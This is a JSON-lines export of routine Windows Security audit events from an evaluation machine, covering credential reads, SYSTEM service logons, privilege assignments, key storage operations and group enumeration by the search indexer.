{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.881925Z"}},"EventRecordID":21409,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.887769Z"}},"EventRecordID":21410,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.887773Z"}},"EventRecordID":21411,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5058,"Version":1,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:26.061401Z"}},"EventRecordID":21412,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","ClientProcessId":4884,"ClientCreationTime":"2025-01-03T21:06:25.946171Z","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"UNKNOWN","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","KeyFilePath":"C:\\Users\\User\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\de7cf8a7901d2ad13e5c67c29e5d1662_16faf340-15ad-429b-a989-bbd781494976","Operation":"%%2458","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5061,"Version":0,"Level":0,"Task":12290,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:26.065790Z"}},"EventRecordID":21413,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"ECDSA_P256","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","Operation":"%%2480","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5059,"Version":1,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:26.066071Z"}},"EventRecordID":21414,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","ClientProcessId":4884,"ClientCreationTime":"2025-01-03T21:06:25.946171Z","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"ECDSA_P256","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","Operation":"%%2464","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5058,"Version":1,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:26.090920Z"}},"EventRecordID":21415,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","ClientProcessId":5336,"ClientCreationTime":"2025-01-03T21:06:26.074773Z","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"UNKNOWN","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","KeyFilePath":"C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\de7cf8a7901d2ad13e5c67c29e5d1662_16faf340-15ad-429b-a989-bbd781494976","Operation":"%%2458","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5061,"Version":0,"Level":0,"Task":12290,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:26.095739Z"}},"EventRecordID":21416,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"ECDSA_P256","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","Operation":"%%2480","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5059,"Version":1,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:26.095980Z"}},"EventRecordID":21417,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","ClientProcessId":5336,"ClientCreationTime":"2025-01-03T21:06:26.074773Z","ProviderName":"Microsoft Software Key Storage Provider","AlgorithmName":"ECDSA_P256","KeyName":"Microsoft Connected Devices Platform device certificate","KeyType":"%%2500","Operation":"%%2464","ReturnCode":"0x0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:26.940672Z"}},"EventRecordID":21418,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:26.940677Z"}},"EventRecordID":21419,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:28.149034Z"}},"EventRecordID":21420,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:28.149039Z"}},"EventRecordID":21421,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:28.790495Z"}},"EventRecordID":21422,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:28.790500Z"}},"EventRecordID":21423,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:28.926810Z"}},"EventRecordID":21424,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1d98","CallerProcessName":"C:\\Windows\\System32\\SearchIndexer.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:28.927922Z"}},"EventRecordID":21425,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x1d98","CallerProcessName":"C:\\Windows\\System32\\SearchIndexer.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:29.617458Z"}},"EventRecordID":21426,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:29.617463Z"}},"EventRecordID":21427,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:31.683111Z"}},"EventRecordID":21428,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:31.683116Z"}},"EventRecordID":21429,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:31.805903Z"}},"EventRecordID":21430,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftOffice16_Data:live:cid=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:30.979870Z","ClientProcessId":7192}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:33.747302Z"}},"EventRecordID":21431,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftOffice16_Data:live:cid=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:30.979870Z","ClientProcessId":7192}}}
